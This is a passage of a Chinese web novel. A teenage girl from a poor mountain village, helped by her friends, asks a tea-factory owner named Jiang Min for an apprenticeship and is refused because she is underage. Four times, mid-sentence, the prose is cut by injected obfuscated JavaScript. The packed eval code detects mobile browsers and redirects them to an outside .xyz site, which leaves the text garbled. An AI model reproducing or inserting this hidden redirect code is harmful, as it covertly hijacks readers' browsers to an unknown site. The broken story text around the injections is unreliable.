千辛万苦,好不容易怀上,生产那天,梦弟妈大出血,还没到卫生院就来了个一尸两命。 梦弟是长姐,妹妹还小,只能出来打工。 至于那个男生,是蛋挞目前的男朋友,发廊里认识,也是洗头的。蛋挞之所以中意他,因为他是个哑巴,不会讲话。 他洗头时从不推销产品,从始至终沉默微笑服务,意外客情很好,每月都是绩效冠军,蛋挞看中他安静,对她舍得花钱。 几人目前状况,家庭健全富足是万玉,妈妈在服装厂,爸爸在工地,两边四位老人都在,家里前年盖了新房子。 万玉全家一致认为,初中文化完全够用,反正大学毕业出来也是给人打工,早打晚打没什么分别。 再者,能不能考上大学还两说呢。 老话讲,知足常乐,一路走,东拉西扯不知怎么扯到“幸福”二字,梦弟觉得现在的自己很有发言权。 她亲眼所见,隔壁菲菲家自从添了小弟,什么好吃的好玩的都得让给小弟,菲菲还常因为小弟莫名其妙挨打。 “虽然妈妈死了,可小弟也没生下来,没人跟我们抢东西吃,不用挨打,已经很好了。我们多想一点好的事情,才不会伤心。” 万玉说,等到初中毕业跟妈妈一起去大城市打工就是幸福。 蛋挞冷笑,“什么时候那个死残废死翘翘我就幸福了。” 哑巴“啊啊”两声,不知说的什么。 周灵蕴茫然半张着嘴,她的幸福呢,她不知道。 只是心里有个模模糊糊的念头,姜老板会是她的办法,她的救命稻草,死也要抓住。 又见面了,站在姜悯面前,感觉被一束和煦的阳光照耀着,隐隐闻到甜丝丝苹果茶香气,似乎被温暖的毛毯包裹着身体。 周灵蕴九十度鞠躬,“姜老板好。” 姜悯仰靠椅背,眉头皱成一个川字,“脸怎么搞的?” 眼珠骨碌转一圈,看不见自己,到底是美是丑心里没个准,周灵蕴羞涩一笑,“蛋挞她们帮我画的。” “门口还有几个小孩。”阿姨说。 姜悯闭眼,两指点按在太阳穴,“进屋去把脸洗了。”转头让阿姨把外面小孩放进来,拿些零食招待。 周灵蕴第一次化妆,也不太习惯,脸上敷得厚厚,好像有个塑料袋套脑袋上,喘气都不顺。 本来准备了一堆话要讲,说其实是户口本年龄写错,因为大人没领结婚证,乡下人嘛没那么多城里规矩,后来为了上学,家里谎报年龄。 都是蛋挞教的,不管有道理没道理,有逻辑没逻辑,反正就这么说。 化妆是为增加可信度——您瞅瞅,长得是不是还挺成熟的。 结果倒好,进门没两分钟,姜悯面前屁没放半个,人家一个不耐烦的眼神,周灵蕴恨不得找个地缝钻进去,没二话赶紧进屋洗脸。 大概这就叫气场,周灵蕴镜里看自己,懊恼万分。可她有什么办法! 她弯腰掬水,脸上那些黑的红的怎么也弄不干净,使大力搓得眼睛疼。 关掉水龙头,她闭着眼去摸盥洗台上的肥皂盒,忽然,手腕传来温软触感,左肩一股强势力道,身体转了半个圈。 “别睁眼,屏住呼吸。”姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723196|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悯掐住周灵蕴后脖子,把她押在洗手台,洗面奶快速在她面颊揉搓,调整水龙头清洗后,开始第二轮。 周灵蕴乖乖不动,随她摆弄,感觉水每次快流进衣领,姜悯就伸手在脖子那抹一把,她忍不住笑。 “干嘛?”姜悯声音很不耐烦。 “你摸得我痒。”周灵蕴说。 这话听起来怎么怪怪的。是我心脏,姜悯镜里沉着张脸,“别废话。” “我没——”明明是你先问人家的。 卫生间没开灯,光线有点暗,周灵蕴配合洗完,身高差使然,她湿淋淋一张脸抬起,睫毛挂水珠,姜悯整个手掌控制着她的下颌,指尖唇瓣冰凉柔软。 如此温驯。 姜悯微启唇,片刻恍惚。 强调过多次,不是同一个人,她很清楚,在那人面前她是腼腆羞涩的,被动的,小心翼翼多看一眼都觉得冒犯。 哪敢上手。 其实真没多像,只是部分特定角度。 那人清清冷冷,林中一湖静水,水面漂浮落叶,水下沉木堆积,从里到外都透着股死气,笑也岑寂。 周灵蕴五官更为明丽,眉骨连接鼻梁整个走势像她生活的这片大山,挺拔俊秀,姜悯完全可以想象到她长大长开后,行走在庸世人潮中那份夭矫不群。 她充满希望,贫瘠土地,努力扎根向上。 “自己擦擦。”姜悯扯来洗脸巾不轻不重往她脸上一拍,转身离去。 周灵蕴捏着额前一缕湿漉漉的碎发走到外面露台,万玉拉她到身边坐,掰下一块巧克力喂到她嘴边,“这个好吃,你快尝尝。” 姜悯抬眼,周灵蕴本能张嘴接了。 家里本没有这些零食,老妈打电话说念念要来,阿姨专门去买的,现在正好派上用场。 周灵蕴一面咀嚼,一面含糊回应,说小时候她妈也给她买过。 “香嘞。”她咧嘴冲着姜悯笑,牙缝黢黑。 姜悯移开视线。 谁是你妈? 梦弟不好意思拿,看着她们吃,作为小团体里的领导人物,矜持为上,蛋挞也不吃。蛋挞不吃,小哑巴更不吃,在她身后背着手板着脸当保镖。 蛋挞先开口,直言有事相求,主要内容就是卖惨,跟周灵蕴之前讲述的内容差不多——没有家庭托举,跟奶奶相依为命,又是个重感情的孩子,不舍得把奶奶一个人丢在大山。 “上高中很贵的,要住校,不能住校的就得自己租房子,到处都花钱,高一高二还好,寒暑假打工,高三学习紧,学校要补课,苦哈哈读出来,考上继续花钱,考不上还是打工,晚打不如早打,攒点钱做小生意……” 蛋挞一脸凝重,“现在大环境也不好。” 懂得不少,还知道大环境。 姜悯嘴角微带笑意,默默听她说完,却没个态度,只吩咐阿姨多烧几个菜,“晚上留下来吃饭吧。” 蛋挞挠头,毕竟是孩子,走到这一步,已经是她过去认知和经验的极限。 不知该怎么办好,蛋挞干脆直接问了,“那周灵蕴可以去茶厂当学徒了吗?” “我能吃苦的!”周灵蕴紧跟。 好一阵沉默。 姜悯掏兜,低头,烟盒里叼出一根,咬破爆珠。 她不打算抽,瘾上来,隔着烟纸闻个味儿解痒,也是让空着的一双手找点事情做,脑子活泛起来。 对面蛋挞眼疾手快,包里摸出个打火机。 周灵蕴接过,迅速上前,“咔哒”一声,给她点着了。 姜悯松松落落叼着烟,一时愣住,瞅她。 周灵蕴“嘿嘿”两声。 8. 第 8 章 姜悯把烟掐了,“吸烟有害健康。”她本来就没想点,谁知道,对面几个狗腿到家了。 “啊?哦——”周灵蕴屁股贴回板凳,眼睛睁得大大,很不解。 “在戒了。”姜悯只得多说一句。 手边没有垃圾桶,烟随手丢在桌面,小孩面前耍酷,高温灼伤的指尖微微痒痛,姜悯松松握拳。 这时候,对面哑巴突然把手伸过来,烟抓了揣进兜里。 蛋挞立即跳起,“你干嘛!” 姜悯吓了一跳,抬眼,万玉解释,“哑巴经常给蛋挞捡烟锅巴抽。” “你胡说!”蛋挞大叫。 “吸烟会得肺癌。”周灵蕴说。 姜悯瞅她,那你还给我点? “烟好臭,我在麻将馆打工,一直闻烟味脑袋好晕……”梦弟一把抓住周灵蕴的手,“完了我不会得肺癌吧。” “你不是头晕?”周灵蕴认真想了想,“应该是脑癌。” 万玉问脑袋怎么得癌,梦弟说她的脑袋里肯定长疙瘩了,完了。 哑巴着急比划,蛋挞用手语跟他吵架,激动处,双臂舞出风声。姜悯发现这两个人胳膊都很细。 “他是失语人士吗?”姜悯小声问周灵蕴。 周灵蕴点头,“他小时候喜欢唱歌,他爸嫌他吵,喝醉酒把他舌头割了。” 姜悯“啊”一声,脸色煞白。 哑巴能听见,一边跟蛋挞吵架,一边把舌头伸出来指给她们看,表示还在,他不是没舌头的怪人。 舌头没割掉,后来自己长好了,蛋挞带哑巴去医院看过,做了一堆检查,各项正常,哑巴不说话是心理问题。 难以修复的,是他心灵的创伤,他因恐惧而失语。 姜悯明白了。 哑巴让蛋挞丢脸,蛋挞非常生气,“我以后戒烟行了吧!烟不顶饱又不解渴,根本不是什么好东西。” “还要得肺癌。”周灵蕴补充。 “甚至是脑癌!”梦弟神经兮兮。 姜悯本打算把剩下那盒烟送给蛋挞,眼下作罢,“戒了好。” 嘻嘻哈哈耍闹一通,阿姨门边探身,宣布开饭,姜悯让她们把桌上零食分了。 万玉捡了个塑料袋装,都给梦弟拎着,“回家给你小妹。” 梦弟把巧克力拿出来给周灵蕴,“你不是说你妈以前给你买过这个。” 周灵蕴把巧克力揣进怀里。万玉没要,说她妈经常给她买,蛋挞和哑巴也没要,说自己有钱买。 姜悯静静地看着她们。 这帮小孩吃饭都有一个共性,速度很快。腮帮鼓鼓还没咽,筷子就急着往里扒,脸冲碗,眼睛用力向上看,瞄准自己下一个目标,胳膊马上伸出去。 忙着去干什么呢? 姜悯一开始说请她们吃饭的时候,有担心她们拒绝,很多家长会教导孩子不能随便拿别人东西,贪吃贪喝,觉得有失体面。 可大人们都忘了件事,体面是自己给的,小孩肚子填饱,就不会去馋。 她们都是没有大人在身边的,小小自尊心终究抵不过现实——那抓心挠肝的饿。 急,当然急,急着赶路,急着回家干活,家里还有嗷嗷待哺的小妹和鸡鸭猪牛。 梦弟搁下碗筷,全身不安分起来。她倒是肚皮填得圆溜溜,妹妹们还在家挨饿呢,这让她怎么坐得住。 她怀里抱着零食袋子,脸涨红。周灵蕴的事情还没解决,又拿人吃的,现在说走,她心里过意不去。 蛋挞比她们年长些,抹把嘴,安排梦弟先回家照顾小妹。 “你们明天不是要去县城?”周灵蕴让她们先走,“我没事的,我家近。” 蛋挞很有些鬼心眼,“可姜老板还没有答应我们。” 哦,半天不提,原来在这儿等着我呢。姜悯失笑。 这餐她没怎么动筷,不屑跟小孩抢食,仰靠椅背,表情始终淡淡。 也差不多该说正事,姜悯正了正肩,“我坦白讲了,我们是正规茶厂,从来严格遵从国家各项法律法规,学徒也好,正式工也罢,都不得聘用未成年人。不是我成心跟你们过不去,能不能明白?” 她说,你们上门来找我玩,大家一起吃吃喝喝,我很高兴,我们是朋友。但一码归一码,公事和私情,不可混为一谈。 话说得漂亮,顾忌小孩自尊心,也表明了自己的态度。 周灵蕴却听得稀里糊涂。 在学校或大街上,遇到讨厌的人,大家会互相翻白眼,吐唾沫,表达自己的厌恶。 喜欢呢,勾肩搭背,好玩的一起,好吃的分享,同甘共苦,同仇敌忾。 爱恨简单,没有中间值。 姜老板不许她去茶厂,却允许她每天来小别墅吃晚饭,到底是讨厌她还是喜欢她? 只觉得脸有点烫,周灵蕴站起身,开始收拾碗筷。 “我上次是怎么跟你说的?”姜悯开始不耐烦。 周灵蕴耷拉着脑袋,手僵僵举在半空。 “上次说了什么?”蛋挞好奇问,感觉她们关系微妙,有别人不知道的事。 “你回答她。”姜悯冷着脸。 周灵蕴瘟鸡似的,嗫嚅着,“有洗碗机。” 万玉和梦弟完全状况外,蛋挞扯一下周灵蕴袖子,“我们走吧。” 回头冲姜悯摆出大家长姿态,“最近给您添麻烦了,特别不好意思,谢谢您的礼物,也谢谢请吃饭。天黑看不见路,我们得走了,改天再来看望您。” 周灵蕴给姜悯鞠了个躬,转身之际,耳边清凌凌一声——“慢着。” “我让你走了吗?”姜悯锁着眉,“话还没讲完。” 欸?有戏,蛋挞变脸超快,“您说。” 姜悯提出可以资助,“只要你能考上,我就供你读,高中,大学,甚至是硕士博士,当然如果你真能走那么远,到时也不需要我了。” 总之,钱不是问题。 可周灵蕴的问题,不单单是钱能解决的,村委会一早就跟她说过,能给她找着资助人,让她放宽心,好好学。 “谢谢姜老板的好意。”周灵蕴再度鞠躬。 人走下台阶,姜悯没忍住,气得猛踹了下桌腿。 满桌杯碗跳,“咔嚓”一声脆响,周灵蕴喝过饮料的玻璃杯摔个稀碎。 阿姨赶紧从房子里跑出来,周灵蕴挣脱了蛋挞跑回去,弯腰收拾。 姜悯恨铁不成钢,来了脾气,“其实你根本就不想上学,千载难逢的好机会摆在面前,你不答应,就愿意去混,愿意给人打黑工,长到二十出头,再找个男人嫁,生上一窝孩子。那就是你想过的日子,对吧。” 话非常难听,可惜周灵蕴听不懂。 她说我没啊,“我没有喜欢的人。”自然不会想嫁谁。 她们家,奶奶从来没说过所谓找个依靠嫁人生娃这种话,奶奶教她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723197|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭缝衣,只说是以后自己到了外面,能把自己顾好,别破衣烂衫的,饿着肚子。 至于结婚,太遥远了吧。没想过。 一拳打在棉花上,姜悯胸口闷痛,很难讲清楚自己在气什么。 周灵蕴收捡起碎玻璃,阿姨叮嘱她小心割破手,递来垃圾桶。 “对不起。”反正先道歉总是没错。 周灵蕴在姜悯脚边抬头,乌溜溜的大眼睛看着她,“我走了嗷——” 再不走,天黑了看不见路。 “滚吧。”姜悯偏过脸。 “我改天找你玩。”周灵蕴记得她说过,她们是朋友,就在不久前,这张饭桌上,尽管那只是姜悯成年人的客气。 “冥顽不灵。”姜悯后来跟阿姨说。阿姨收拾干净桌,让她别管了。 周灵蕴跟蛋挞一行在路口分别,她走小路回家,中途下起雨,早春时节,按理说不该有这么大的雨,自然也没准备伞,她把书包换胸口,双手抱着,弯腰用背抵挡。 雨越下越大,鞋子很快湿透,好在周灵蕴多年来早就习惯,经验丰富,滑坡处矮下身子,抓牢树干,瞪圆眼一般出不了大问题。 只是天慢慢黑了,林稀的地方,被雨浇,林密的地方,又不见路,行走艰难。 鸟儿归巢,风雨喧嚣,奶奶肯定着急了,周灵蕴脑海中忽然出现一幕——她坐在窗明几净的教学楼,摇头晃脑,阅读朗诵,奶奶一个人坐在家门前那张长条板凳,身上疼得厉害,没人给她打针,她长一声短一声哼,浑浊老泪纵横。 说不定哪天死了都没人知道。 想到奶奶可能会死,孤零零死在家里头,爬得满屋子肥蛆,周灵蕴眼泪流出来。 她知道不该这么想,太不吉利,可总忍不住去想,常常,夜里躺在床上小声“呜呜”。 这时候的周灵蕴还不懂什么叫分离焦虑,人类的本能依恋,刻在基因里的生存警报系统。 反正她不要离开奶奶。 天要黑尽,不当心滑了一跤,摔得满屁股稀泥,周灵蕴迅速爬起抱着书包往前走,老远身上才开始疼。 热泪混着冷雨布得满脸,她横臂抹,袖子也是湿的。 快到家,周灵蕴远远瞧见屋里亮着一簇暖融的光,家里还用着上世纪遗留至今的煤油灯。山里老停电。 奶奶瘦小的影子立在屋门前,手扶着门框不知站了多久。 “奶奶!”周灵蕴跑过去。 奶奶扯着她往厨房走,屋里空地坐一个黑胶大澡盆,里头半盆热水,奶奶二话不说,扒她衣裳。 周灵蕴迅速脱光坐进盆里,奶奶拿瓢舀水往她脑袋上淋。 外头雨还在下,敲在屋顶,跌落门前的青石坎,澡盆旁边半米多远搁了个土瓷碗,屋顶漏下的雨珠不时“吧嗒”。 “等下。”周灵蕴探身,从湿衣堆里扒出个黑色塑封袋,朝奶奶晃一下,“是巧克力哦!姜老板给我的。” 怀里捂一路,撕开包装袋,里头半化的黑浆立即涌出来,周灵蕴赶紧伸舌头接。 房里湿漉的青苔味、柴火味被巧克力的甜香冲散,雨淋的冷也经热水暖化,周灵蕴两根手指捏起一块,“你吃。” 奶奶摇头不要,周灵蕴使劲往前递,使坏把奶奶嘴唇涂得黑乎乎。 “打死你!”奶奶吓唬,瞪她一眼,不情不愿张嘴接。 周灵蕴笑出一排小牙,啜手指,“苦的,也是甜的。” 9. 第 9 章 姜悯被那小孩气够呛,昨晚饭都没吃,本说来山里度假,公司的杂事先放到一边,夜里躺床上翻来覆去睡不着,爬起来审了几份合同,又饿得胃疼。 阿姨给她煮了几个小馄饨,她连皮带汤吃下去,这才好睡,睁眼快到中午。 “来了来了!大小姐还不快起?赶紧出来迎迎呀——” 姜悯顶着满头乱发坐起,披衣走到窗边,说话那人已经着急忙慌篮球似“嘭嘭嘭”弹下楼。 窗口望出去,楼下铁门大开,院里多出辆黑色越野,刚停稳,还没来得及进车位,谷香岚女士迫不及待跳下,拉开车门去解后座的儿童安全座椅。 表姐也来了,后备箱大包小包往下顺,里头甚至塞了辆小孩玩的溜溜车。 姜悯洗漱完毕,房间正换衣裳,冷不丁,门被推开,谷香岚简直是个活炮仗,“干啥呢?” 吓一跳,姜悯闭眼,捂胸回头,“注意您的素质,进屋先敲门,说多少遍记不住。” 当妈的被动技能,小孩说的话一半多自动过滤,谷香岚笑呵呵捏她胳膊腿,“瘦了好多,怎么,春梅不给你饭吃,我扣她工资。” 姜悯低头对拉链,谷香岚帮她把头发从衣领里顺出来,两手抓着,五指细细地顺,“要来不提前打声招呼,正赶上我们出门,这次你打算待多久,不会我一来你就要走吧?” “唰——”拉链一拉到底。姜悯回头,张了张嘴,想说话。 “黏黏。”门口有人喊。 姜悯应,叫声“爸”,表姐也牵着孩子来跟她打招呼。 小孩怀里抱个兔子玩偶,脑后左右各扎两条细辫,发际一圈毛茸茸,眼睛圆溜溜,像只小老鼠趴在路边排水口。 表姐推小孩上前打招呼,小孩害怕,直往人身后躲,姜悯让她别难为孩子,“日子长了会熟悉的。” 谷香岚女士表示赞同。 表姐笑一下,不尴不尬的,“添麻烦了。” 姜悯她爸说“别见外”,让阿姨领着,带她们去房间看看。 人走了,屋里静下来,谷香岚到底是当妈的,晃晃姜悯,“欲言又止的样子看了就烦,痛快点,有屁就放。” 姜悯垂着眼皮不吭声,早知道昨天就该委婉些,周灵蕴说不定还来找她。人走的时候,那步伐,果决得很,视死如归的,脖子焊死,从头至尾没扭头。 八成伤着了。 姜悯说“没事”,谷香岚岂能信,“你不说我去问春梅。” 说曹操,曹操到。春梅手攀门框,“中午吃啥啊,老夫人,大小姐。” 姜悯“欸”一声,“我妈说我瘦了,是有人没看顾好,要扣她工资。” 这下不得了,春梅立即拍着大腿嚎,“哎呦我为这个家鞠躬尽瘁,每天是起得比鸡早,睡得比狗晚,尽心尽力不敢有半分懈怠,可到头落得什么……” 谷香岚顿时一个头两个大,姜悯趁机溜了。 担心小孩爬上爬下摔着,春梅把小孩房间安排在一楼,隔壁是小孩她妈的,紧挨着,方便照顾。 长途跋涉,小孩受不住累,秦穗轻轻掩了门出来,姜悯气声问“睡啦”?秦穗点头,挨过来拍拍她肩膀,叹口气,两人交换个眼神,并肩往屋外走。 “我姐夫怎么没来。”她脸色极差,姜悯其实猜了个七七八八。 真有事来不了,谷香岚女士早嚷嚷开,刻意避讳,说明另有内情。 “有烟吗?”秦穗问。 姜悯回去把烟拿给她,晌午的太阳云后稍晃出一片刺眼的寡白,秦穗斜倚在玻璃围栏,两根手指捏着烟嘴,吸得特别用力。 她死死闭着眼睛,半边身子都在抖,烟气肺里滚一圈吐出来,面上终于添了点血色,掸掸烟灰,话也轻飘飘,“离了。” 当初领养小孩的时候,两口子一起去福利院挑的。 各方面都满意,长得漂亮,性格安静,身体不好嘛,慢慢将养,也不是什么心脏病啊自闭症啊这样的大毛病。 起名叫“念念”,念念不忘,必有回响的意思,似乎极度珍视。 结果,领回家没几天就失了耐性,说到底不是自己的种,跟他不亲近,不喜欢孩子看他的眼神,瘆得慌。 “把个四五岁大的小孩说成野鬼。”秦穗又生气又好笑,“都是借口,话说到这份上,我还有什么不明白的。” 姜悯稀里糊涂的,“他到底什么意思?” “嫌弃我不能生。”青蓝烟雾袅袅上升,秦穗朝下面花坛掸掸灰。 姜悯愈发不解,“领养之前两个人商量好的嘛?这也是你们跟念念的缘分,就非得自己生,拿命生,他到底爱不爱你?” “爱过吧。”很显然现在不爱了,爱也是会消磨的。秦穗苦笑,“人都是会变的,由坏变好或由好变坏,世界万物每时每刻都在变,这是自然规律,你不能要求别人一成不变。” 秦穗两次流产,姜悯都去看过,男的温声软语,悉心照料,她内心虽替表姐感到惋惜,又为两个人深厚的情谊而感动。 前后不到一年,天翻地覆。 姜悯感慨,“才一年。” “黏黏啊,你小瞧时间的力量了。”秦穗两手虚空比划,“一年时间,足够一个小小的受精卵长成个六七斤重的孩子,变戏法似‘砰’地弹出来,神奇得很。” “别小瞧时间的力量。”秦穗重复。 姜悯想给那贱人打电话,问问他到底什么意思,问不到骂一顿出出气也好,秦穗说算了。 “算了黏黏,何必呢,现在这样挺好,就当借他曾经那个身份领养小孩。有念念足够了,我以前就是太贪心,什么都想要,月盈则亏,水满则溢,现在明白不算晚。” 能想通当然最好,姜悯沉口气,骂了几句脏话,“看他个二婚男人以后有谁要,还不是给人当后爹。” 饭桌上,秦穗再次说起这事,当着大家伙儿的面,想开了放下了的意思,春梅听罢,猛一跺脚一拍桌,“那就是他克你!他命里没有子嗣!念念跟你缘分深,把他弄走了。” 谷香岚女士一听,“欸!有道理。”伸手给孩子理理额发,“念念是妈妈的小福星,把坏人冲走了。” 姜悯她爸举杯,“昨日之日不可留,来,咱们干一个,为以后的好日子。” 二两白酒下肚,秦穗脸颊微红,状态大有好转,直傻笑。 小孩坐她大腿,手臂伸得长长给她夹菜,春梅连连赞好,“黏大小姐要不打算结婚,以后也领养一个,老了伺候你。” 她们家人挺开放的,她爸说找人生一个,帅的智商高的,去父留子。她妈说不用麻烦,买就行,让姜悯生个小混血给她玩玩。 姜悯纸巾擦擦嘴,“我也想玩小混血。” 她说起最近网上看的新闻,说有个产妇,年龄四十多,因为身材偏胖,到生孩子那天才知道自己怀孕。 “肚子疼去看病,还以为是便秘,刚走到医院门口,咔叽生了。后来一打听,她男朋友才二十岁,所以说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723198|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人的质量也很重要,多少人想尽办法生,生不出来,人大姐都快绝经,嘿!诸位评评理,这叫什么事情嘛!” 回头,冲着谷香岚,表情蛮认真,“喜欢小孩,咱也来个去父留子,找个帅的智商高的,弟弟好,妹妹更好,等两位仙去了我接着养,不差钱。” “去你的,你个小王八蛋。”谷香岚哈哈哈前仰后合,狠起来连自己都骂。 “你怎么这么讨厌。”她爸使劲瞪她,又大骂她不孝,白养二十多年,“还咒你爹妈死。” “人固有一死。”姜悯面无表情,“或重于泰山或轻于鸿毛,为国家为社会添砖加瓦,是您辈职责,时代红利吃尽,不能光享福吧,有个成语叫什么,老当益壮,您没听过?” 秦穗被这家人逗得笑不停。 姜悯不鸣则已,一鸣惊人,说罢搁下筷子起身,“诸位慢用。” 留她爸脸色铁青,“我说一句你有十句等着我,说完就跑。” 姜悯回房歇着,床上躺着无聊刷手机,半小时后谷香岚跟进来,捏捏她肩膀,“你有事。” “没啊。”姜悯声气懒洋洋的。 谷香岚说肯定有,“你今天很尖锐啊。” 姜悯翻身躺平,望向天花板,“福利院那些小孩一般多大?” 谷香岚说都有,“可要领养的话,都会选择年纪比较小的,还没记事的。” “十四五的还有人要吗?”姜悯问。 谷香岚说也太大了吧,“兴许是有,但对领养人审核会更严,你也知道,快成年了,有些人呐,说是领养其实不知安的什么心,坏得很。” 姜悯对天发誓,她绝无二心,“只是觉得那小孩可怜。” “哪个小孩?”谷香岚顿时警惕。 可怜小孩昨晚躺房间小床上琢磨一夜,姜老板那番话里琢磨出门道了。 山下大大小小,茶厂无数,正规的不要她,那不正规的呢? 周灵蕴正在应聘。 本来准备一肚子话,门边等到端个大碗吃饭的茶厂老板,听他吧唧嘴问了句“哪里人”,回头指了下对面山上,老板说明天来上班。 周灵蕴走出茶厂,回头看了眼空心砖墙一侧竖挂的招牌——胜利茶厂。她一步一挪,人还懵懵的。 整日天阴沉着,接近傍晚,西边放晴,金灿灿一片,大团云朵镶有金边。 只是落日余晖撒在皮肤仍是冰冷的。 仰头吸了口气,周灵蕴双手揣兜,贴着马路慢慢走,想起还有好多事没问。 最重要的,工钱多少,以及月休,休几天,休息算钱还是不算钱,要不要扣钱。都是蛋挞千叮咛万嘱咐的。 竟全忘了。 好吧,不重要,老板肯要她已经是天大的福分。 我有工作啦!周灵蕴高兴起来,马路边蹦蹦跳跳,想迫不及待把这个好消息分享。 说给奶奶听,老人家未必高兴,万玉和蛋挞她们呢?去县里了。 姜老板,姜老板。 黑色轿车行舟般无声滑至她身畔,停稳,车窗徐徐降下,墨色玻璃后一张色差鲜明的脸,冷冽如山巅薄雪。 周灵蕴被晃了下眼,待看清面前人,她脸颊绽放明媚笑意,“姜老板!你是神仙吗?我刚还在想你,你就从天而降。” 挑眉,姜悯嘴角勾起细微弧度,“怎么还不回家,天快黑了。” 周灵蕴两手攀上车窗,“我要告诉你一个好消息,你一定会为我高兴的。” 10. 第 10 章 山里空气好,下午姜悯带表姐和念念去茶园散步。 春季采茶忙,矮处暖和,第一批新梢已经采摘完毕,半坡和山尖的长势慢些,再下两场小雨差不多。 抬臂轻拂,任雨露打湿袖口,姜悯顺手掐个尖,指腹揉碎,送至鼻端,清苦茶汁暂缓心肺苦闷。 四岁的小孩踮脚伸长胳膊去够,学她,茶叶在手心胡乱搓几把,塞进鼻孔。 “好闻吗?”姜悯低头问。 小孩害羞,两手圈抱住脸,躲到妈妈屁股后面,又好奇把脑袋从大人腿缝里挤出来。 姜悯被她逗笑,“我们念念很活泼啊。” 秦穗手心掐了把嫩茶,“这样的能直接泡水喝吗?” 姜悯说“能”,“别喝太多就行。” 秦穗将茶叶小心翼翼送入外套口袋,“在家可闹腾,抱着玩具满屋跑,狗在后面追,‘哒哒哒’左一趟,‘哒哒哒’右一趟。” “狗呢?”姜悯问。 “我妈那。”秦穗说车里塞不下,“这里的环境倒是很适合狗子撒欢。” “夏天来避暑最好。”姜悯建议,“山里凉快,还能去溪边玩水。” “我喜欢玩水!”念念突然大声宣告,喊完捂嘴咯咯笑起来。 孩子的眼睛是晨间草叶上的露珠,成人世界不易察觉的细微绮丽,匆匆而过,倏然回头,冷不丁溅落在手背,激起一点调皮的凉意。 美好的事物总有相似,这样干净清透的眼神,不久前,在同一片山野,姜悯有过邂逅。 “我们到前面看看,”秦穗横指,“那边好像有棵开白花的树。” 姜悯快走几步跟上,思绪回转先前话题,再开口,语气不由添了几分冷硬,“他心里有鬼,看什么都像鬼。说不定外面早就有人,什么领养?八成一早就算计好了。” 秦穗愣了一下,随即失笑,“怎么又在想那些。” 半哄半劝的,她勾住姜悯肩膀,轻轻碰了下头,“好了好了,我都没气,别在烂人烂事上消耗太多情绪。” 姜悯挺佩服表姐的,无论对人还是对事,投入时倾尽全力,抽身时也干脆利落,横一刀当机立断,竖一刀情丝尽斩,从此各自安好,一别两宽。 前方道路开阔,两人并肩而行。秦穗过来人口吻,温声劝道:“其实你家阿姨说的那番话不是全没道理,如果感到孤单,有个小孩确实是个寄托。趁早要好,三十岁之前,你说的那位四十岁的大姐,毕竟是个例。” 搁从前,这种话姜悯半个字都懒得听,惹烦她还要刻薄几句——世上女人是不是三十岁没生小孩都会自动暴毙? 也是被鬼拍了后脑勺,姜悯竟没有第一时间反驳。 “那领养呢?” 秦穗说当然可以,“满足条件就行。” “什么条件?”姜悯追问。 秦穗细细讲解一番,关于年龄限制、经济状况、家庭环境等要求。 “如果是孤儿或有特殊情况的残疾儿童,条件会适当放宽……”话没讲完,她驻步,偏头仔细打量姜悯侧脸,“不对,你很不对。” 姜悯笑,快速眨眼,“你们不都铆足了劲劝我要小孩,我妈不给我生,我又不愿遭那罪。” “真要被劝服……”秦穗反而惊悚,“还挺吓人的。” 姜悯加紧两步走到前面去。顽石有裂,秦穗岂能轻易放过,她追上去,语气认真起来,“古时候居丧至多三年,你这三年三年又三年的,我说真的,差不多了。试着谈个恋爱吧?有什么过不去的?” 秦穗的意思,谈得不高兴,伸腿一踹,爱谁谁,结了婚也能离,日子照过。养小孩却是责任重大,让她别轻易跳火坑。 “人都有脾气,小孩也是,如何教养,其中学问大着呢。就你今天中午饭桌上那番话,换作你自己小孩,还不得活活把你气死。” 姜悯冷笑,语气带着惯常的倨傲,“换作我的小孩,没机会说出那些话,我不是爱管闲事的妈。” 半小时后,听周灵蕴两手扒着车窗眉飞色舞说她找到工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723199|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作了。 